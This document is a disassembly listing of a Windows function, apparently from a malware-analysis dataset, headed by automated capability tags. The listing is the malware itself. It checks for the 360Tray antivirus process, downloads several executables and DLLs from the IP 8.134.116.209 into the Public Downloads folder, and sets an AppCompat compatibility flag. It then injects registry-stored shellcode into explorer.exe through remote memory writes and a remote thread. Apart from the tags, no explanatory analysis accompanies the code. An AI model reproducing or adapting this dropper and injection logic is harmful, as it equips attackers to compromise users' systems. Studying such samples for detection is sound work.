Function at 0x140005590
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create http request
Create thread
Enumerate processes
Find taskbar
Inject thread
Query or enumerate registry value
Read data from internet
Receive data
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r15
lea rbp, [rsp - 0x1020]
mov eax, 0x1120
call fcn.14003f290
sub rsp, rax
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor r15d, r15d
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005638
xor edx, edx
lea rcx, [rbp + 0x384]
mov r8d, 0x234
call fcn.1400418f0
lea rdx, [rbp + 0x380]
mov dword [rbp + 0x380], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000562f
nop word [rax + rax]
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x3ac]
call fcn.140072c2c
mov rcx, rbx
test eax, eax
je 0x1400057a7
lea rdx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005600
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x1068]
mov dword [rsp + 0x40], 0x61657771
mov r9d, 0x20019
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x44], 0x32336473
lea rdx, [rbp + 0x1060]
mov dword [rsp + 0x48], 0x63787a31
mov rcx, 0xffffffff80000001
mov byte [rsp + 0x4c], r15b
mov dword [rbp + 0x1060], 0x736e6f43
mov dword [rbp + 0x1064], 0x656c6f
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rcx, qword [rbp + 0x1068]
lea rax, [rbp + 0x1050]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], r15
xor r8d, r8d
mov dword [rbp + 0x1050], r15d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x1050]
call fcn.14003ec4c
mov rcx, qword [rbp + 0x1068]
lea rdx, [rsp + 0x40]
mov rbx, rax
xor r9d, r9d
lea rax, [rbp + 0x1050]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rbp + 0x1050]
call fcn.14003ec4c
mov r8d, dword [rbp + 0x1050]
mov rdx, rbx
mov rcx, rax
mov rsi, rax
call fcn.140041240
mov rcx, qword [rbp + 0x1068]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor edx, edx
mov dword [rsp + 0x50], 0x780065
mov dword [rsp + 0x54], 0x6c0070
mov dword [rsp + 0x58], 0x72006f
mov dword [rsp + 0x5c], 0x720065
lea ecx, [rdx + 2]
mov dword [rsp + 0x60], 0x65002e
mov dword [rsp + 0x64], 0x650078
mov word [rsp + 0x68], r15w
mov dword [rbp - 0x80], 0x238
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140006024
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 2
mov ebx, eax
call fcn.1400729e8
mov rcx, rax
lea rdx, str.Failed_to_create_process_snapshot:__d_n
mov r8d, ebx
call fcn.140003b90
mov edi, r15d
jmp 0x140006071
mov qword [rsp + 0x1118], r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.C:UsersPublicDownloadsqq.exe
lea rcx, [rbp + 0x5c0]
call fcn.140008090
lea rdx, str.C:UsersPublicDownloadswegame.exe
lea rcx, [rbp + 0x7d0]
call fcn.140008090
lea rdx, str.C:UsersPublicDownloads_adapt_for_imports.dll
lea rcx, [rbp + 0x9e0]
call fcn.140008090
lea rdx, str.C:UsersPublicDownloadsLua51.dll
lea rcx, [rbp + 0xbf0]
call fcn.140008090
lea rdx, str.C:UsersPublicDownloads_beacon_sdk.dll
lea rcx, [rbp + 0xe00]
call fcn.140008090
lea rdx, str.C:UsersPublicDownloadscommon.dll
lea rcx, [rbp + 0x380]
call fcn.140008090
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005916
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_qq.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x14000590d
lea rdx, [0x1400c4300]
lea rcx, [rbp + 0x5c0]
call fcn.1400737f4
mov rdi, rax
test rax, rax
je 0x140005904
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400058fc
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x1400058fc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734e8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400058c0
mov rcx, rdi
call fcn.140072f74
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005a06
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_wegame.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x1400059fd
lea rdx, [0x1400c4300]
lea rcx, [rbp + 0x7d0]
call fcn.1400737f4
mov rdi, rax
test rax, rax
je 0x1400059f4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400059ec
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x1400059ec
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734e8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400059b0
mov rcx, rdi
call fcn.140072f74
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005af6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_adapt_for_imports.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005aed
lea rdx, [0x1400c4300]
lea rcx, [rbp + 0x9e0]
call fcn.1400737f4
mov rdi, rax
test rax, rax
je 0x140005ae4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005adc
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x140005adc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734e8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005aa0
mov rcx, rdi
call fcn.140072f74
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005be6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_Lua51.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005bdd
lea rdx, [0x1400c4300]
lea rcx, [rbp + 0xbf0]
call fcn.1400737f4
mov rdi, rax
test rax, rax
je 0x140005bd4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005bcc
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x140005bcc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734e8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005b90
mov rcx, rdi
call fcn.140072f74
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005cd6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_beacon_sdk.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005ccd
lea rdx, [0x1400c4300]
lea rcx, [rbp + 0xe00]
call fcn.1400737f4
mov rdi, rax
test rax, rax
je 0x140005cc4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005cbc
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x140005cbc
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734e8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005c80
mov rcx, rdi
call fcn.140072f74
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rbp + 0x1058], 1
xor r8d, r8d
mov dword [rsp + 0x20], r15d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x140005dc6
mov qword [rsp + 0x28], r15
lea rdx, str.http:__8.134.116.209_wj_common.dll
xor r9d, r9d
mov dword [rsp + 0x20], 0x4000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140005dbd
lea rdx, [0x1400c4300]
lea rcx, [rbp + 0x380]
call fcn.1400737f4
mov rdi, rax
test rax, rax
je 0x140005db4
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140005dac
nop
mov eax, dword [rbp + 0x1058]
test eax, eax
je 0x140005dac
mov r8d, eax
lea rcx, [rbp - 0x80]
mov r9, rdi
mov edx, 1
call fcn.1400734e8
lea r9, [rbp + 0x1058]
mov r8d, 0x400
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140005d70
mov rcx, rdi
call fcn.140072f74
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rax, [rsp + 0x70]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionAppCompatFlagsLayers
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005e2b
mov rcx, qword [rsp + 0x70]
lea rax, str.RunAsInvoker
mov dword [rsp + 0x28], 0x1a
lea rdx, str.C:UsersPublicDownloadswegame.exe
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
lea rdx, str.Hello_World__n
movzx r14d, ax
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
lea rdx, [0x1400c3e6b]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Hello_World__n
mov rdi, rax
call fcn.140007de0
mov ebx, 0x641
mov esi, 0xa
nop word [rax + rax]
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
inc rbx
sub rsi, 1
jne 0x140005f40
lea rdx, [0x1400c4328]
call fcn.140007de0
lea rdx, str.Hello_World__n
call fcn.140007de0
xor r9d, r9d
lea r8d, [rsi + 5]
mov edx, 0x312
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r14, qword [rsp + 0x1118]
nop word [rax + rax]
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005fb0
xor edx, edx
lea rcx, [rbp - 0x7c]
mov r8d, 0x234
call fcn.1400418f0
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006019
nop dword [rax]
lea rdx, str.wegame.exe
lea rcx, [rbp - 0x54]
call fcn.140072c2c
mov rcx, rbx
test eax, eax
je 0x140005632
lea rdx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005ff0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005fb0
lea rdx, [rbp - 0x80]
mov rcx, rbx
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140006068
nop dword [rax + rax]
lea rdx, [rbp - 0x54]
lea rcx, [rsp + 0x50]
call fcn.140072c2c
test eax, eax
je 0x140006065
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006040
jmp 0x140006068
mov edi, dword [rbp - 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rbp + 0x1050]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rbp + 0x1050]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], r15
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov r9, rbx
mov dword [rsp + 0x28], r15d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
add rsp, 0x1120
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret